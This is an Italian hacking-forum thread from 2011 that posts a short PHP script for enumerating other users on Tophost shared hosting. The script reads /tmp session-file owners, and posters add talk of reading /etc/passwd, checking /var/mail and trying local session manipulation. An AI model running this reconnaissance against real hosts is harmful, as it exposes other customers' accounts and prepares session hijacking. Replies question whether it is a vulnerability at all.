Tophost users enumeration Security Bypass

Started by Bl4k3, May 22, 2011, 05:27:12 PM

Previous topic - Next topic

Bl4k3

Tophost Users Enumeration Security Bypass

Credits   :  Bl4k3 & KNX
Category: PHP Users Enumeration
Severity : Medium

Description: Questa vulnerabilità ci permette di enumerare utenti con rispettive directory grazie a delle sessioni (/tmp/sess_<id sessione utente>) salvate "nel caso di tophost" nella dir /tmp/.



Code:
Quote<?php
   $files = glob( "/tmp/sess_*" );
   $users = array();
   foreach( $files as $file ){
     $owner = fileowner($file);
     $user = posix_getpwuid($owner);
     if( !in_array( $user, $users ) ){
       $users[] = $user;
     }
    }
   foreach( $users as $user ){
     $info = str_replace( ' ', '& ', print_r($user,true) );
     echo nl2br($info);
   }

?>

Emilio

#1
Non per smorzare l'entusiasmo, è ottimo che vengano pubblicati advisories : D
Ma da che lato questa è una vulnerabilità? Poi perchè nominare TopHost in particolare? E' un comportamento presente in tutti gli unix: i nomi utente sono dati necessari per il funzionamento della multiutenza, la chiamata che fai a posix_getpwuid() accede -addirittura- a /etc/passwd per tradurre da uid a nome utente, come è giusto che sia. Insomma un ls scritto in php non è certo un problema di sicurezza.

Il codice può comunque essere utile per recuperare informazioni in caso di PHP molto restrittivi, ci starebbe ad esempio bene come modulo di weevely : D (non ricordo se supporta ancora i moduli in php :F  , e magari si può spostare in una sezione più adatta, non certo advisories. Cheers

Bl4k3

Da questo si può passare ad altro , magari provando una local session manipulation!
Netsons per esempio ha settato i permessi anche nella dir /tmp/ e queste cose non si possono più fare!
Comunque hai ragione te , leggendo il file /etc/passwd è più facile. :)
Tranquillo che non smorzi niente :)
Bè i mod e admin ci sono se vogliono spostare non si offende nessuno :)

clshack

Netsons l'avevo avvisato io :)

Comunque sia in tophost puoi enumerare tutti gli utenti in altri modi :)
Ora non mi ricordo però -.- devo cercare da qualche parte mentre in netsons gli vedi in /var/mail :)

In aruba sono da altre parti ancora :)

Bl4k3

#4
Bè già hai la lettura di /etc/passwd in tutti e due :)
più facile di così :)

clshack


SYSTEM_OVERIDE

Quote from: Bl4k3 on May 24, 2011, 07:16:38 PM
Bè già hai la lettura di /etc/passwd in tutti e due :)
più facile di così :)

Bl4k3 visto che rompi tanto con l'exploit di Netsons xD
Vedi bene quel file  :)